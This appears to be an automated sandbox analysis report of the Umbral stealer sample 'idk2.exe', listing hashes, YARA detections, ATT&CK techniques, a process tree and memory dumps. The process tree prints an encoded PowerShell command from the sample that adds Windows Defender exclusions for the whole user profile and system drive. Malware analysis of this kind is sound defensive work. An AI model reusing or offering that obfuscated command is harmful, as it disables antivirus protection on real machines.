umbral | 68d09f04adfbf4e1f6735771a83da8b3869e236dc2154bb3ae89ccc03e10abf4

Analysis

max time kernel
90s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
12-02-2024 02:03

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General

Target

idk2.exe
Size

235KB
MD5

d68fd8be41d485b139ea640cabdf67f5
SHA1

84b9aaf719f73475cd38734229bd3bba02ddbf71
SHA256

68d09f04adfbf4e1f6735771a83da8b3869e236dc2154bb3ae89ccc03e10abf4
SHA512

b457364be0e9ec42cdf1d486ed2ce54e8f1df309fd817fc708802476b37b6b630b9dcbf334d7476c9b83e9ccb06df66a2eed4afad42b50d3d7a64c95adc8df4d
SSDEEP

6144:7eWRxYAv9MFiTC6SxlcACBT+jAtGSAdd2ylRHnry6oYCX:711MFUuxDGwJd2ylhnG6oYCX

Score

10^/10

umbral stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0009000000023212-4.dat	family_umbral
behavioral2/memory/632-11-0x000001D3750A0000-0x000001D3750E0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	idk2.exe

Executes dropped EXE 1 IoCs

pid	Process
632	Umbral.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3176	powershell.exe
3176	powershell.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	632	Umbral.exe
Token: SeDebugPrivilege	3176	powershell.exe
Token: SeIncreaseQuotaPrivilege	3328	wmic.exe
Token: SeSecurityPrivilege	3328	wmic.exe
Token: SeTakeOwnershipPrivilege	3328	wmic.exe
Token: SeLoadDriverPrivilege	3328	wmic.exe
Token: SeSystemProfilePrivilege	3328	wmic.exe
Token: SeSystemtimePrivilege	3328	wmic.exe
Token: SeProfSingleProcessPrivilege	3328	wmic.exe
Token: SeIncBasePriorityPrivilege	3328	wmic.exe
Token: SeCreatePagefilePrivilege	3328	wmic.exe
Token: SeBackupPrivilege	3328	wmic.exe
Token: SeRestorePrivilege	3328	wmic.exe
Token: SeShutdownPrivilege	3328	wmic.exe
Token: SeDebugPrivilege	3328	wmic.exe
Token: SeSystemEnvironmentPrivilege	3328	wmic.exe
Token: SeRemoteShutdownPrivilege	3328	wmic.exe
Token: SeUndockPrivilege	3328	wmic.exe
Token: SeManageVolumePrivilege	3328	wmic.exe
Token: 33	3328	wmic.exe
Token: 34	3328	wmic.exe
Token: 35	3328	wmic.exe
Token: 36	3328	wmic.exe
Token: SeIncreaseQuotaPrivilege	3328	wmic.exe
Token: SeSecurityPrivilege	3328	wmic.exe
Token: SeTakeOwnershipPrivilege	3328	wmic.exe
Token: SeLoadDriverPrivilege	3328	wmic.exe
Token: SeSystemProfilePrivilege	3328	wmic.exe
Token: SeSystemtimePrivilege	3328	wmic.exe
Token: SeProfSingleProcessPrivilege	3328	wmic.exe
Token: SeIncBasePriorityPrivilege	3328	wmic.exe
Token: SeCreatePagefilePrivilege	3328	wmic.exe
Token: SeBackupPrivilege	3328	wmic.exe
Token: SeRestorePrivilege	3328	wmic.exe
Token: SeShutdownPrivilege	3328	wmic.exe
Token: SeDebugPrivilege	3328	wmic.exe
Token: SeSystemEnvironmentPrivilege	3328	wmic.exe
Token: SeRemoteShutdownPrivilege	3328	wmic.exe
Token: SeUndockPrivilege	3328	wmic.exe
Token: SeManageVolumePrivilege	3328	wmic.exe
Token: 33	3328	wmic.exe
Token: 34	3328	wmic.exe
Token: 35	3328	wmic.exe
Token: 36	3328	wmic.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2432 wrote to memory of 3176	2432	idk2.exe	85
PID 2432 wrote to memory of 3176	2432	idk2.exe	85
PID 2432 wrote to memory of 3176	2432	idk2.exe	85
PID 2432 wrote to memory of 632	2432	idk2.exe	87
PID 2432 wrote to memory of 632	2432	idk2.exe	87
PID 632 wrote to memory of 3328	632	Umbral.exe	88
PID 632 wrote to memory of 3328	632	Umbral.exe	88

C:\Users\Admin\AppData\Local\Temp\idk2.exe
"C:\Users\Admin\AppData\Local\Temp\idk2.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2432
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAcABpACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAdQB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdgBoACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAZgBiACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3176
- C:\Users\Admin\AppData\Local\Temp\Umbral.exe
  "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:632
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
230KB

MD5
009a51785bd54b63d28cdb374b8d1ece

SHA1
50cb71de5001b403eb54091669ae6898cc9ba72d

SHA256
4676596a95f354bdcd99548f7fdcaef5f84e291f21d9744548dec99551db81c3

SHA512
a5125cf0662caf5b595b4540e241fc6a2a5463bed25ee3c68b0350f2be4c1ed2b62eb96d37ecb8e40751403e56c81d8fc0989909052df36397d2080deefb36f8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rgrcazgf.n1x.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/632-11-0x000001D3750A0000-0x000001D3750E0000-memory.dmp

Filesize
256KB

Download
memory/632-13-0x00007FFB14240000-0x00007FFB14D01000-memory.dmp

Filesize
10.8MB

Download
memory/632-35-0x00007FFB14240000-0x00007FFB14D01000-memory.dmp

Filesize
10.8MB

Download
memory/632-15-0x000001D3776F0000-0x000001D377700000-memory.dmp

Filesize
64KB

Download
memory/3176-18-0x0000000005310000-0x0000000005320000-memory.dmp

Filesize
64KB

Download
memory/3176-36-0x000000007F8F0000-0x000000007F900000-memory.dmp

Filesize
64KB

Download
memory/3176-16-0x0000000005950000-0x0000000005F78000-memory.dmp

Filesize
6.2MB

Download
memory/3176-19-0x00000000057B0000-0x00000000057D2000-memory.dmp

Filesize
136KB

Download
memory/3176-20-0x0000000006080000-0x00000000060E6000-memory.dmp

Filesize
408KB

Download
memory/3176-14-0x0000000005310000-0x0000000005320000-memory.dmp

Filesize
64KB

Download
memory/3176-21-0x0000000006160000-0x00000000061C6000-memory.dmp

Filesize
408KB

Download
memory/3176-31-0x0000000006310000-0x0000000006664000-memory.dmp

Filesize
3.3MB

Download
memory/3176-32-0x00000000067E0000-0x00000000067FE000-memory.dmp

Filesize
120KB

Download
memory/3176-33-0x0000000006820000-0x000000000686C000-memory.dmp

Filesize
304KB

Download
memory/3176-12-0x0000000005190000-0x00000000051C6000-memory.dmp

Filesize
216KB

Download
memory/3176-37-0x0000000007780000-0x00000000077B2000-memory.dmp

Filesize
200KB

Download
memory/3176-38-0x0000000075470000-0x00000000754BC000-memory.dmp

Filesize
304KB

Download
memory/3176-17-0x0000000073E80000-0x0000000074630000-memory.dmp

Filesize
7.7MB

Download
memory/3176-48-0x00000000077C0000-0x00000000077DE000-memory.dmp

Filesize
120KB

Download
memory/3176-49-0x0000000005310000-0x0000000005320000-memory.dmp

Filesize
64KB

Download
memory/3176-50-0x00000000079E0000-0x0000000007A83000-memory.dmp

Filesize
652KB

Download
memory/3176-52-0x0000000007B10000-0x0000000007B2A000-memory.dmp

Filesize
104KB

Download
memory/3176-51-0x0000000008150000-0x00000000087CA000-memory.dmp

Filesize
6.5MB

Download
memory/3176-53-0x0000000007B80000-0x0000000007B8A000-memory.dmp

Filesize
40KB

Download
memory/3176-54-0x0000000007DA0000-0x0000000007E36000-memory.dmp

Filesize
600KB

Download
memory/3176-55-0x0000000007D10000-0x0000000007D21000-memory.dmp

Filesize
68KB

Download
memory/3176-56-0x0000000007D50000-0x0000000007D5E000-memory.dmp

Filesize
56KB

Download
memory/3176-57-0x0000000007D60000-0x0000000007D74000-memory.dmp

Filesize
80KB

Download
memory/3176-58-0x0000000007E40000-0x0000000007E5A000-memory.dmp

Filesize
104KB

Download
memory/3176-59-0x0000000007D90000-0x0000000007D98000-memory.dmp

Filesize
32KB

Download
memory/3176-62-0x0000000073E80000-0x0000000074630000-memory.dmp

Filesize
7.7MB

Download